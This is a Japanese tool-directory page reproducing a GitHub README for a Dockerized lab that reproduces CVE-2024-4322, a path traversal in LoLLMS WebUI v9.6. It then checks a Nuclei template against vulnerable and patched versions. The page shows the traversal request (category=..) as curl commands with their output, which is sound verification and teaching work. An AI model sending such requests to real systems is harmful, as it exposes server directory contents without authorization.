Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
POC_CVE-2024-4322 — POC_CVE-2024-4322 | Kitploit
ツール/GitHubGitHub/mj-bin/poc_cve-2024-4322
脆弱性分析エクスプロイトウェブセキュリティCTF学習と教育ラボと実践
GitHubmj-bin/poc_cve-2024-4322

POC_CVE-2024-4322

POC_CVE-2024-4322

リポジトリを見る
3ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-4322: LoLLMS WebUI PoC & Nuclei 検証ラボ

このリポジトリは、LoLLMS WebUI v9.6 のパストラバーサル脆弱性である CVE-2024-4322 を再現し、関連する Nuclei テンプレートが LoLLMS WebUI v9.8 にマッチしないことを検証するための、Docker 化されたローカルラボを提供します。

このラボは、ローカル環境、所有しているターゲット、または明示的に許可を得たターゲットに対してのみ使用してください。

脆弱性の概要

LoLLMS WebUI v9.6 の /list_personalities エンドポイントはパストラバーサルに対して脆弱です。ユーザーが制御できる category パラメータは、サニタイズなしで personalities_zoo_path に追記されます:

root@kitploit:~
personalities_dir = lollmsElfServer.lollms_paths.personalities_zoo_path/f'{category}'

category=.. を送信すると、リクエストは意図された personalities ディレクトリをエスケープし、親ディレクトリの内容を一覧表示できます。

期待される脆弱性シグナル:

root@kitploit:~
category=   -> []
category=.. -> response contains "personalities_zoo"

修正版 v9.8 の動作は、ディレクトリ一覧の前にトラバーサル入力を拒否します。

ラボ構成表

すべてのコマンドは、この README が置かれているディレクトリから実行してください。

Linux 脆弱版ラボ

1. サーバーを起動する

root@kitploit:~
docker compose up --build -d linux-vuln-server
docker compose logs -f linux-vuln-server

以下が表示されるまで待ちます:

root@kitploit:~
Uvicorn running on http://0.0.0.0:9600

Ctrl-C を押してログのフォローを停止します。コンテナは実行中のままです。

2. HTTP の動作を確認する

root@kitploit:~
curl -sS 'http://127.0.0.1:9600/list_personalities?category=' | jq .
curl -sS 'http://127.0.0.1:9600/list_personalities?category=..' | jq .

期待される結果:

root@kitploit:~
[]
["personalities_zoo","extensions_zoo","bindings_zoo","models_zoo"]

順序は異なる場合があります。重要なシグナルは、トラバーサル応答が対照応答と異なり、personalities_zoo が含まれていることです。

3. Nuclei で検証する

root@kitploit:~
nuclei -duc -validate -t templates/CVE-2024-4322.yaml
nuclei -duc -u http://127.0.0.1:9600 -t templates/CVE-2024-4322.yaml -debug

期待される結果:

root@kitploit:~
[CVE-2024-4322:dsl-1] [http] [high] http://127.0.0.1:9600/list_personalities?category=..

Linux 脆弱版の Nuclei 検証

Linux パッチ適用版ラボ

1. サーバーを起動する

root@kitploit:~
docker compose --profile patched up --build -d linux-patched-server
docker compose --profile patched logs -f linux-patched-server

以下が表示されるまで待ちます:

root@kitploit:~
Uvicorn running on http://0.0.0.0:9600

2. HTTP の動作を確認する

root@kitploit:~
curl -i 'http://127.0.0.1:9602/list_personalities?category='
curl -i 'http://127.0.0.1:9602/list_personalities?category=..'

期待される結果:

root@kitploit:~
category=   -> HTTP 200 []
category=.. -> HTTP 400 {"detail":"Detected an attempt of path traversal or command injection. Are you kidding me?"}

3. Nuclei で検証する

root@kitploit:~
nuclei -duc -u http://127.0.0.1:9602 -t templates/CVE-2024-4322.yaml

期待される結果:

root@kitploit:~
[INF] Scan completed ... 0 matches found.

Linux パッチ適用版の Nuclei 検証

Windows 脆弱版ラボ

このラボには、Windows containers モードの Docker Desktop が必要です。以下のコマンドは、PowerShell でこのディレクトリから実行してください。

1. サーバーを起動する

root@kitploit:~
docker compose --profile windows up --build -d windows-vuln-server
docker compose --profile windows logs -f windows-vuln-server

以下が表示されるまで待ちます:

root@kitploit:~
Uvicorn running on http://0.0.0.0:9600

2. HTTP の動作を確認する

root@kitploit:~
curl.exe -sS "http://127.0.0.1:9601/list_personalities?category="
curl.exe -sS "http://127.0.0.1:9601/list_personalities?category=.."

期待される結果:

root@kitploit:~
[]
["bindings_zoo","extensions_zoo","models_zoo","personalities_zoo"]

順序は異なる場合があります。重要なシグナルは、トラバーサル応答が対照応答と異なり、personalities_zoo が含まれていることです。

3. Nuclei で検証する

root@kitploit:~
nuclei -duc -u http://127.0.0.1:9601 -t .\templates\CVE-2024-4322.yaml -debug

期待される結果:

root@kitploit:~
[CVE-2024-4322:dsl-1] [http] [high] http://127.0.0.1:9601/list_personalities?category=..

Windows 脆弱版の Nuclei 検証

Windows パッチ適用版ラボ

このラボには、Windows containers モードの Docker Desktop が必要です。以下のコマンドは、PowerShell でこのディレクトリから実行してください。

1. サーバーを起動する

root@kitploit:~
docker compose --profile windows up --build -d windows-patched-server
docker compose --profile windows logs -f windows-patched-server

以下が表示されるまで待ちます:

root@kitploit:~
Uvicorn running on http://0.0.0.0:9600

2. HTTP の動作を確認する

root@kitploit:~
curl.exe -i "http://127.0.0.1:9603/list_personalities?category="
curl.exe -i "http://127.0.0.1:9603/list_personalities?category=.."

期待される結果:

root@kitploit:~
category=   -> HTTP 200 []
category=.. -> HTTP 400 {"detail":"Detected an attempt of path traversal or command injection. Are you kidding me?"}

3. Nuclei で検証する

root@kitploit:~
nuclei -duc -u http://127.0.0.1:9603 -t .\templates\CVE-2024-4322.yaml

期待される結果:

root@kitploit:~
[INF] Scan completed ... 0 matches found.

Windows パッチ適用版の Nuclei 検証

クリーンアップ

Linux コンテナ:

root@kitploit:~
docker compose --profile patched down --rmi local

Windows コンテナ:

root@kitploit:~
docker compose --profile windows down

必要要件

  • Docker および Docker Compose。
  • Windows ラボ用に Windows containers モードの Docker Desktop。
  • curl。
  • Linux 脆弱版の HTTP の例で使用する jq。
  • テンプレート検証用の Nuclei。

Linux ホストに jq がない場合は、analyst コンテナを使用してください:

root@kitploit:~
docker compose --profile tools run --rm analyst sh
curl -sS 'http://linux-vuln-server:9600/list_personalities?category=' | jq .
curl -sS 'http://linux-vuln-server:9600/list_personalities?category=..' | jq .

Windows に Nuclei がインストールされていない場合は、https://github.com/projectdiscovery/nuclei/releases から Windows 用リリースバイナリをダウンロードし、解凍して、展開したディレクトリから nuclei.exe を直接実行してください。

ラボ構築メモ

Dockerfile はビルド中に過去のインストーラにパッチを適用するため、このラボは今日でも再現可能です:

  • 脆弱版ラボは lollms-webui の v9.6 タグをクローンします。

  • パッチ適用版ラボは lollms-webui の v9.8 タグをクローンします。

  • lollms_core サブモジュールの URL は、旧ソースの履歴が移動したため、https://github.com/ParisNeo/lollms_legacy.git に書き換えられます。

  • バージョンの固定は上流の Git メタデータと照合して確認されます:v9.6 は e2f2d313cd6ea3fe81dfc4496f985f5b650853b9、v9.8 は 8a8e3a1c386321f641a014bf8f7029512ccad411 です。

    root@kitploit:~
    git ls-remote --tags https://github.com/ParisNeo/lollms-webui.git refs/tags/v9.6 refs/tags/v9.8
    
  • 対応する lollms_core サブモジュールのコミットは、v9.6 では 、v9.8 では であり、各タグのチェックアウトで を使用して確認されます。

パッチの根拠

崩れていた不変条件は次のとおりです:

root@kitploit:~
resolved path must stay inside the personalities directory

LoLLMS WebUI v9.8 以降は、category パスがファイルシステムのディレクトリ一覧ロジックに到達する前にサニタイズまたは制約することで、この問題に対処しています。実際のデプロイでは、LoLLMS WebUI をバージョン 9.8 以降にアップグレードしてください。

ツールをダウンロード
環境バージョンサービスホスト URL期待されるテンプレート結果
Linux 脆弱版v9.6linux-vuln-serverhttp://127.0.0.1:9600マッチ
Linux パッチ適用版v9.8linux-patched-serverhttp://127.0.0.1:9602マッチしない
Windows 脆弱版v9.6windows-vuln-serverhttp://127.0.0.1:9601マッチ
Windows パッチ適用版v9.8windows-patched-serverhttp://127.0.0.1:9603マッチしない
cfb18f6f1091addf440347322441ab28005a2d3b
6f45b1ca828e9f75ca3ed38aaf0d04d0f72a0a49
git ls-tree HEAD lollms_core
  • auto_update と auto_sync_* オプションは無効化され、各ラボが固定状態に保たれます。

  • サーバーがプロンプトなしで起動できるように、ヘッドレス設定ファイルが注入されます。

  • エンドポイントの検証に不要な重い依存関係は、可能な限りスキップされます。

  • Windows インストーラは、一時ディレクトリを作成し、古くなった再帰サブモジュールを回避するようにパッチが適用されます。